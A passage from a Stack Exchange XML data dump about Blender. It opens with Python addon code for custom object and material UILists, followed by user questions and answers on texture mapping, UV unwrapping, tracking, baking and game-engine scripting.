  bl_description = &quot;Select Items in the Viewport&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    select_all = BoolProperty(&#xA;        default=False,&#xA;        name=&quot;Select all Items of List&quot;,&#xA;        options={'SKIP_SAVE'})&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        idx = scn.custom_index&#xA;&#xA;        try:&#xA;            item = scn.custom[idx]&#xA;        except IndexError:&#xA;            self.report({'INFO'}, &quot;Nothing selected in the list&quot;)&#xA;            return{'CANCELLED'}&#xA;&#xA;        obj_error = False&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;        if not self.select_all:&#xA;            obj = scn.objects.get(scn.custom[idx].name, None)&#xA;            if not obj: &#xA;                obj_error = True&#xA;            else:&#xA;                obj.select = True&#xA;                info = '&quot;%s&quot; selected in Viewport' % (obj.name)&#xA;        else:&#xA;            selected_items = []&#xA;            unique_objs = set([i.name for i in scn.custom])&#xA;            for i in unique_objs:&#xA;                obj = scn.objects.get(i, None)&#xA;                if obj:&#xA;                    obj.select = True&#xA;                    selected_items.append(obj.name)&#xA;&#xA;            if not selected_items: &#xA;                obj_error = True&#xA;            else:&#xA;                missing_items = unique_objs.difference(selected_items)&#xA;                if not missing_items:&#xA;                    info = '&quot;%s&quot; selected in Viewport' \&#xA;                        % (', '.join(map(str, selected_items)))&#xA;                else:&#xA;                    info = 'Missing items: &quot;%s&quot;' \&#xA;                        % (', '.join(map(str, missing_items)))&#xA;        if obj_error: &#xA;            info = &quot;Nothing to select, object removed from scene&quot;&#xA;        self.report({'INFO'}, info)    &#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Drawing&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_UL_items(UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):&#xA;        split = layout.split(0.3)&#xA;        split.label(&quot;Index: %d&quot; % (index))&#xA;        custom_icon = &quot;OUTLINER_OB_%s&quot; % item.obj_type&#xA;        #split.prop(item, &quot;name&quot;, text=&quot;&quot;, emboss=False, translate=False, icon=custom_icon)&#xA;        split.label(item.name, icon=custom_icon) # avoids renaming the item by accident&#xA;&#xA;    def invoke(self, context, event):&#xA;        pass   &#xA;&#xA;class CUSTOM_PT_objectList(Panel):&#xA;    &quot;&quot;&quot;Adds a custom panel to the TEXT_EDITOR&quot;&quot;&quot;&#xA;    bl_idname = 'TEXT_PT_my_panel'&#xA;    bl_space_type = &quot;TEXT_EDITOR&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    bl_label = &quot;Custom Object List Demo&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scn = bpy.context.scene&#xA;&#xA;        rows = 2&#xA;        row = layout.row()&#xA;        row.template_list(&quot;CUSTOM_UL_items&quot;, &quot;&quot;, scn, &quot;custom&quot;, scn, &quot;custom_index&quot;, rows=rows)&#xA;&#xA;        col = row.column(align=True)&#xA;        col.operator(&quot;custom.list_action&quot;, icon='ZOOMIN', text=&quot;&quot;).action = 'ADD'&#xA;        col.operator(&quot;custom.list_action&quot;, icon='ZOOMOUT', text=&quot;&quot;).action = 'REMOVE'&#xA;        col.separator()&#xA;        col.operator(&quot;custom.list_action&quot;, icon='TRIA_UP', text=&quot;&quot;).action = 'UP'&#xA;        col.operator(&quot;custom.list_action&quot;, icon='TRIA_DOWN', text=&quot;&quot;).action = 'DOWN'&#xA;&#xA;        row = layout.row()&#xA;        col = row.column(align=True)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;custom.print_items&quot;, icon=&quot;LINENUMBERS_ON&quot;) #LINENUMBERS_OFF, ANIM&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;custom.select_items&quot;, icon=&quot;VIEW3D&quot;, text=&quot;Select Item&quot;)&#xA;        row.operator(&quot;custom.select_items&quot;, icon=&quot;GROUP&quot;, text=&quot;Select all Items&quot;).select_all = True&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;custom.clear_list&quot;, icon=&quot;X&quot;)&#xA;        row.operator(&quot;custom.remove_duplicates&quot;, icon=&quot;GHOST&quot;)&#xA;&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Collection&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_objectCollection(PropertyGroup):&#xA;    #name = StringProperty() -&amp;gt; Instantiated by default&#xA;    obj_type = StringProperty()&#xA;    obj_id = IntProperty()&#xA;&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Register &amp;amp; Unregister&#xA;# -------------------------------------------------------------------&#xA;&#xA;classes = (&#xA;    CUSTOM_OT_actions,&#xA;    CUSTOM_OT_printItems,&#xA;    CUSTOM_OT_clearList,&#xA;    CUSTOM_OT_removeDuplicates,&#xA;    CUSTOM_OT_selectItems,&#xA;    CUSTOM_UL_items,&#xA;    CUSTOM_PT_objectList,&#xA;    CUSTOM_objectCollection,&#xA;)&#xA;&#xA;def register():&#xA;    from bpy.utils import register_class&#xA;    for cls in classes:&#xA;        register_class(cls)&#xA;&#xA;    # Custom scene properties&#xA;    bpy.types.Scene.custom = CollectionProperty(type=CUSTOM_objectCollection)&#xA;    bpy.types.Scene.custom_index = IntProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    from bpy.utils import unregister_class&#xA;    for cls in reversed(classes):&#xA;        unregister_class(cls)&#xA;&#xA;    del bpy.types.Scene.custom&#xA;    del bpy.types.Scene.custom_index&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated for &lt;strong&gt;Blender 2.8x&lt;/strong&gt;: &lt;a href=&quot;https://gist.github.com/p2or/d6dfd47366b2f14816f57d2067dcb6a9&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/p2or/d6dfd47366b2f14816f57d2067dcb6a9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As of 2.79 we can have &lt;em&gt;real references&lt;/em&gt; to objects per ID by using a &lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html?highlight=pointerproperty#bpy.props.PointerProperty&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;PointerProperty&lt;/code&gt;&lt;/a&gt;, which basically allows to display the actual data, access and edit the attributes on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following &lt;em&gt;funky example&lt;/em&gt; is a simple demo on how to create a custom UIList of materials. You can create new materials, display and edit their properties &lt;em&gt;(name, color etc.)&lt;/em&gt; directly within the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Iawl.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Iawl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;material_uilist.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import (IntProperty,&#xA;                       BoolProperty,&#xA;                       StringProperty,&#xA;                       CollectionProperty,&#xA;                       PointerProperty)&#xA;&#xA;from bpy.types import (Operator,&#xA;                       Panel,&#xA;                       PropertyGroup,&#xA;                       UIList)&#xA;&#xA;&#xA;def random_color():&#xA;    from mathutils import Color&#xA;    from random import random&#xA;    return Color((random(), random(), random()))&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Operators&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_OT_actions(Operator):&#xA;    &quot;&quot;&quot;Move items up and down, add and remove&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.list_action&quot;&#xA;    bl_label = &quot;List Actions&quot;&#xA;    bl_description = &quot;Move items up and down, add and remove&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    action = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('UP', &quot;Up&quot;, &quot;&quot;),&#xA;            ('DOWN', &quot;Down&quot;, &quot;&quot;),&#xA;            ('REMOVE', &quot;Remove&quot;, &quot;&quot;),&#xA;            ('ADD', &quot;Add&quot;, &quot;&quot;)))&#xA;&#xA;    def invoke(self, context, event):&#xA;        scn = context.scene&#xA;        idx = scn.custom_index&#xA;&#xA;        try:&#xA;            item = scn.custom[idx]&#xA;        except IndexError:&#xA;            pass&#xA;        else:&#xA;            if self.action == 'DOWN' and idx &amp;lt; len(scn.custom) - 1:&#xA;                item_next = scn.custom[idx+1].name&#xA;                scn.custom.move(idx, idx+1)&#xA;                scn.custom_index += 1&#xA;                info = 'Item &quot;%s&quot; moved to position %d' % (item.name, scn.custom_index + 1)&#xA;                self.report({'INFO'}, info)&#xA;&#xA;            elif self.action == 'UP' and idx &amp;gt;= 1:&#xA;                item_prev = scn.custom[idx-1].name&#xA;                scn.custom.move(idx, idx-1)&#xA;                scn.custom_index -= 1&#xA;                info = 'Item &quot;%s&quot; moved to position %d' % (item.name, scn.custom_index + 1)&#xA;                self.report({'INFO'}, info)&#xA;&#xA;            elif self.action == 'REMOVE':&#xA;                item = scn.custom[scn.custom_index]&#xA;                item_name = item.material.name&#xA;                mat = item.material                &#xA;                mat_obj = bpy.data.materials.get(mat.name, None)&#xA;                if mat_obj:&#xA;                    bpy.data.materials.remove(mat_obj, True)&#xA;                info = 'Item %s removed from scene' % (item_name)&#xA;                scn.custom.remove(idx)&#xA;                scn.custom_index -= 1&#xA;                self.report({'INFO'}, info)&#xA;&#xA;        if self.action == 'ADD':&#xA;            item = scn.custom.add()&#xA;            item.id = len(scn.custom)&#xA;            item.material = bpy.data.materials.new(name=&quot;Material&quot;)&#xA;            item.name = item.material.name&#xA;            item.material.diffuse_color = random_color()&#xA;            scn.custom_index = (len(scn.custom)-1)&#xA;            info = '%s added to list' % (item.name)&#xA;            self.report({'INFO'}, info)&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;&#xA;class CUSTOM_OT_printItems(Operator):&#xA;    &quot;&quot;&quot;Print all items and their properties to the console&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.print_items&quot;&#xA;    bl_label = &quot;Print Items to Console&quot;&#xA;    bl_description = &quot;Print all items and their properties to the console&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    reverse_order = BoolProperty(&#xA;        default=False,&#xA;        name=&quot;Reverse Order&quot;)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        if self.reverse_order:&#xA;            for i in range(scn.custom_index, -1, -1):        &#xA;                mat = scn.custom[i].material&#xA;                print (&quot;Material:&quot;, mat,&quot;-&quot;,mat.name, mat.diffuse_color)&#xA;        else:&#xA;            for item in scn.custom:&#xA;                mat = item.material&#xA;                print (&quot;Material:&quot;, mat,&quot;-&quot;,mat.name, mat.diffuse_color)&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;class CUSTOM_OT_clearList(Operator):&#xA;    &quot;&quot;&quot;Clear all items of the list and remove from scene&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.clear_list&quot;&#xA;    bl_label = &quot;Clear List and Remove Materials&quot;&#xA;    bl_description = &quot;Clear all items of the list and remove from scene&quot;&#xA;    bl_options = {'INTERNAL'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_confirm(self, event)&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        if bool(context.scene.custom):&#xA;            # Remove materials from scene&#xA;            for i in context.scene.custom:&#xA;                name = i.material.name&#xA;                mat_obj = bpy.data.materials.get(name, None)&#xA;                if mat_obj:&#xA;                    bpy.data.materials.remove(mat_obj, True)&#xA;                info = 'Item %s removed from scene' % (name)&#xA;&#xA;            # Clear the list&#xA;            context.scene.custom.clear()&#xA;            self.report({'INFO'}, &quot;All materials removed from scene&quot;)&#xA;        else:&#xA;            self.report({'INFO'}, &quot;Nothing to remove&quot;)&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Drawing&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_UL_items(UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):&#xA;        mat = item.material&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            split = layout.split(0.3)&#xA;            split.label(&quot;Index: %d&quot; % (index))&#xA;            # static method UILayout.icon returns the integer value of the icon ID&#xA;            # &quot;computed&quot; for the given RNA object.&#xA;            split.prop(mat, &quot;name&quot;, text=&quot;&quot;, emboss=False, icon_value=layout.icon(mat))&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;, icon_value=layout.icon(mat))&#xA;&#xA;    def invoke(self, context, event):&#xA;        pass&#xA;&#xA;class CUSTOM_PT_objectList(Panel):&#xA;    &quot;&quot;&quot;Adds a custom panel to the TEXT_EDITOR&quot;&quot;&quot;&#xA;    bl_idname = 'TEXT_PT_my_panel'&#xA;    bl_space_type = &quot;TEXT_EDITOR&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    bl_label = &quot;Custom Material List Demo&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scn = bpy.context.scene&#xA;&#xA;        rows = 2&#xA;        row = layout.row()&#xA;        row.template_list(&quot;CUSTOM_UL_items&quot;, &quot;custom_def_list&quot;, scn, &quot;custom&quot;, &#xA;            scn, &quot;custom_index&quot;, rows=rows)&#xA;&#xA;        col = row.column(align=True)&#xA;        col.operator(&quot;custom.list_action&quot;, icon='ZOOMIN', text=&quot;&quot;).action = 'ADD'&#xA;        col.operator(&quot;custom.list_action&quot;, icon='ZOOMOUT', text=&quot;&quot;).action = 'REMOVE'&#xA;        col.separator()&#xA;        col.operator(&quot;custom.list_action&quot;, icon='TRIA_UP', text=&quot;&quot;).action = 'UP'&#xA;        col.operator(&quot;custom.list_action&quot;, icon='TRIA_DOWN', text=&quot;&quot;).action = 'DOWN'&#xA;&#xA;        row = layout.row()&#xA;        row.template_list(&quot;CUSTOM_UL_items&quot;, &quot;custom_grid_list&quot;, scn, &quot;custom&quot;, &#xA;            scn, &quot;custom_index&quot;, rows=2, type='GRID')&#xA;&#xA;        row = layout.row()&#xA;        col = row.column(align=True)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;custom.print_items&quot;, icon=&quot;LINENUMBERS_ON&quot;)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;custom.clear_list&quot;, icon=&quot;X&quot;)&#xA;&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Collection&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_objectCollection(PropertyGroup):&#xA;    #name = StringProperty() -&amp;gt; Instantiated by default&#xA;    material = PointerProperty(&#xA;        name=&quot;Material&quot;,&#xA;        type=bpy.types.Material)&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Register &amp;amp; Unregister&#xA;# -------------------------------------------------------------------&#xA;&#xA;classes = (&#xA;    CUSTOM_OT_actions,&#xA;    CUSTOM_OT_printItems,&#xA;    CUSTOM_OT_clearList,&#xA;    CUSTOM_UL_items,&#xA;    CUSTOM_PT_objectList,&#xA;    CUSTOM_objectCollection,&#xA;)&#xA;&#xA;def register():&#xA;    from bpy.utils import register_class&#xA;    for cls in classes:&#xA;        register_class(cls)&#xA;&#xA;    # Custom scene properties&#xA;    bpy.types.Scene.custom = CollectionProperty(type=CUSTOM_objectCollection)&#xA;    bpy.types.Scene.custom_index = IntProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    from bpy.utils import unregister_class&#xA;    for cls in reversed(classes):&#xA;        unregister_class(cls)&#xA;&#xA;    del bpy.types.Scene.custom&#xA;    del bpy.types.Scene.custom_index&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated for &lt;strong&gt;Blender 2.8x&lt;/strong&gt;: &lt;a href=&quot;https://gist.github.com/p2or/30b8b30c89871b8ae5c97803107fd494&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/p2or/30b8b30c89871b8ae5c97803107fd494&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same principle applies to all other types. Using the &lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html?highlight=pointerproperty#bpy.props.PointerProperty&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;PointerProperty&lt;/code&gt;&lt;/a&gt; for e.g. &lt;a href=&quot;https://gist.github.com/p2or/5acad9e29ddb071096f9f004ae6cace7&quot; rel=&quot;noreferrer&quot;&gt;objects in the scene&lt;/a&gt;, makes it pretty comfortable to edit, add and remove them safely without any additional checks.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-04-01T12:57:11.673" LastActivityDate="2019-04-01T12:57:11.673" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="30447" PostTypeId="1" AcceptedAnswerId="30452" CreationDate="2015-05-05T17:23:42.320" Score="11" ViewCount="1422" Body="&lt;p&gt;Cycles &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.74/Cycles#Nodes&quot;&gt;now supports&lt;/a&gt; Sphere mapping for image textures - but how do I increase the scale of the image (so that it gets repeated)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a mapping node and increase the scale like I normally would, the texture gets all distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nA4YL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the cube and the sphere are using the same image texture, with a Mapping node between the Texture Coordinate and Image Texture nodes. The Scale of the Mapping node is animated from 1.0 to 5.0. The cube's texture is using UVs with the image node using the default 'Flat' projection. The sphere's texture is using Generated coordinates with the image node's projection set to 'Sphere' (as in the screenshots below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale = 1:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ERe8J.png&quot; alt=&quot;scale = 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale = 2.5:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zae9H.png&quot; alt=&quot;scale = 2.5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the desired result, which was made by manually repeating the image texture in Gimp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8t5wu.png&quot; alt=&quot;desired result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to be able to scale it only on the X-axis so that it does not appear so stretched in the middle.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2015-05-05T18:45:13.300" LastActivityDate="2015-05-05T19:57:41.693" Title="How to repeat an image which uses Sphere mapping in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30449" PostTypeId="2" ParentId="30317" CreationDate="2015-05-05T19:16:08.277" Score="1" Body="&lt;p&gt;This problem is nicely solvable with voxel binding that unfortunately blender doesn't have yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem would be less visible if the polygons would be segmented the same on the torso and the belts, increasing the polycount will help against the artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blender solution is to join everything into 1 piece mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with boolean union and clean up the mesh after it&lt;/li&gt;&#xA;&lt;li&gt;with knife tool to cut slots for the belts in torso and to cut out excess belts inside the torso. Then joining it together.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-06T15:16:44.030" LastActivityDate="2015-05-06T15:16:44.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30450" PostTypeId="1" CreationDate="2015-05-05T19:31:05.653" Score="3" ViewCount="340" Body="&lt;p&gt;I get a problem with UV mapping in Blender.&#xA;I do some render of architecture, and I get some walls of 2.25m height and 10m length.&#xA;So I did a picture of 1024px x 3072px to get a good resolution.&#xA;But when I unwrap (solid, cube, from view, etc), proportions are not good... (and I reset scale object to 1 before unwrapping).&#xA;It seems that if picture is 1024 x 1024px or 2048 x 2048, I don't get this problem.&#xA;Does someone can explain me the problem (and any solution?)  :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance and best regards!&lt;/p&gt;&#xA;" OwnerUserId="14181" LastActivityDate="2015-05-05T19:31:05.653" Title="Dimension for UV unwrap" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30452" PostTypeId="2" ParentId="30447" CreationDate="2015-05-05T19:57:41.693" Score="13" Body="&lt;p&gt;The problem is that the texture coordinates node is not outputting a UV coordinates it is a genereted 3D coordinates ranging from 0 to on each axis ( X,Y and Z ) and since the Sphere mapping is not linear like the cube , scaling these coordinates will not get the desired result.&lt;br&gt;&#xA;instead of manipilating the 3D generated coordinates I extracted the UV coordinates from the sphere projection and used this as a UV coordinates for the real image which is mapped using Flat projection.&lt;br&gt;&#xA;extracting the UV coordinates from the Sphere projection is done by two gradiant image texture ( black to white direction is the same as the U and V axis direction ) &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the node setup :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jueWX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can manipulate the texture mapping as you want :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sHlCS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt; you can eliminate the need for two image texture nodes in the first stage by using one image with  red gradient ( horizontal) and a green gradient ( vertical ) in one image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first image : used for U axis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfSjs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second image : used for the V axis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0bW1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-05T19:57:41.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30453" PostTypeId="1" AcceptedAnswerId="30546" CreationDate="2015-05-05T20:08:25.667" Score="3" ViewCount="1075" Body="&lt;p&gt;I am making a video clip with my friend. To add a special effect, i would want to track our hands. But Blender can't keep track of the hands. Maybe wearing gloves could help? Is there a way to track hands without having Blender stop at each 3 frames? &#xA;EDIT: I just need a 2d track with hands only.&lt;/p&gt;&#xA;" OwnerUserId="14145" LastEditorUserId="14145" LastEditDate="2015-05-06T21:40:16.660" LastActivityDate="2015-05-07T08:54:05.747" Title="Tracking hands in Blender" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30454" PostTypeId="1" CreationDate="2015-05-05T20:23:55.930" Score="2" ViewCount="45" Body="&lt;p&gt;I tried to AO bake my model, but it became very &quot;dirty&quot; with many black dots on it. How can I remove them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zyTlk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13691" LastActivityDate="2015-05-05T20:23:55.930" Title="Model Looks Dirty after Ambient Occlusion Bake" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-05-06T21:31:15.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="30456" PostTypeId="1" CreationDate="2015-05-05T23:29:20.440" Score="3" ViewCount="1265" Body="&lt;p&gt;I have empty1, the empty &lt;strong&gt;that fires the bullet(s),&lt;/strong&gt; and empty2, the empty &lt;strong&gt;that is always at the center of the screen.&lt;/strong&gt; &lt;em&gt;If you are confused about empty2's function, look at &lt;a href=&quot;https://blender.stackexchange.com/questions/13790/how-do-i-make-a-weapon-shoot-at-the-center-of-the-screen&quot;&gt;this&lt;/a&gt; question.&lt;/em&gt; On command, I need a line, which is our bullet, to be added. I obviously can't just add a line that starts at empty1 and is endless as that causes &lt;em&gt;many&lt;/em&gt; issues. When the command to shoot a bullet is sent, &lt;em&gt;I need a line to be created, starting from &lt;strong&gt;empty1,&lt;/strong&gt; and I need to it to continue towards &lt;strong&gt;empty2.&lt;/em&gt;&lt;/strong&gt; In other words, I need a line to be between two objects (for my case, empties). What is the best way to achieve this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I prefer that the &quot;line&quot; is an object as I'll be planning to change its color, thickness, etc.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-09-14T03:27:55.577" Title="Add a line between two objects?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30457" PostTypeId="1" AcceptedAnswerId="31148" CreationDate="2015-05-05T23:39:29.007" Score="3" ViewCount="2419" Body="&lt;p&gt;I have some objects that I need to know how fast they are going. I have a property, &quot;speed,&quot; and I would like it to show the object's speed in blender units. For the unit, it doesn't matter that much as long as I can read it. Python or logic would work, but if it's a script I'll have it &lt;strong&gt;running at all times.&lt;/strong&gt; In other words, I'll be using this every logic tic so it needs to be efficient. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I've figured out how to find velocity on my own, but how would I use that xyz info to find speed?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-05-19T18:57:10.320" LastActivityDate="2015-05-20T06:43:46.953" Title="Detect object speed?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30458" PostTypeId="1" CreationDate="2015-05-06T00:13:55.290" Score="0" ViewCount="4344" Body="&lt;p&gt;I recently asked a question on how to make &lt;a href=&quot;https://blender.stackexchange.com/questions/28065/how-to-create-text-on-a-transparent-overlay-with-cycles&quot;&gt;text with a transparent overlay&lt;/a&gt; and I was wondering if I can make that text fade in and out. An example of it is on the first part of &lt;a href=&quot;https://youtu.be/Cz3U5K9dKD0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; (the text).&lt;/p&gt;&#xA;" OwnerUserId="5217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-10-25T15:28:22.267" Title="How to make text fade in and out" Tags="&lt;video&gt;&lt;transparency&gt;&lt;text-object&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30459" PostTypeId="1" CreationDate="2015-05-06T00:47:43.937" Score="1" ViewCount="536" Body="&lt;p&gt;My knife tool (with Maya presets) will not introduce a vertex with LMB, but automatically introduces them on edges when I cross them (despite not pressing LMB). When I switch to Blender presets, the knife tool works as advertised (clicking introduces new vertex, and not automatically when I cross an edge). How can I properly use the knife tool with Maya settings?&lt;/p&gt;&#xA;" OwnerUserId="14183" LastEditorUserId="2217" LastEditDate="2015-06-01T23:21:43.447" LastActivityDate="2015-06-16T12:06:36.393" Title="Knife tool with Maya Settings" Tags="&lt;modeling&gt;&lt;shortcut&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
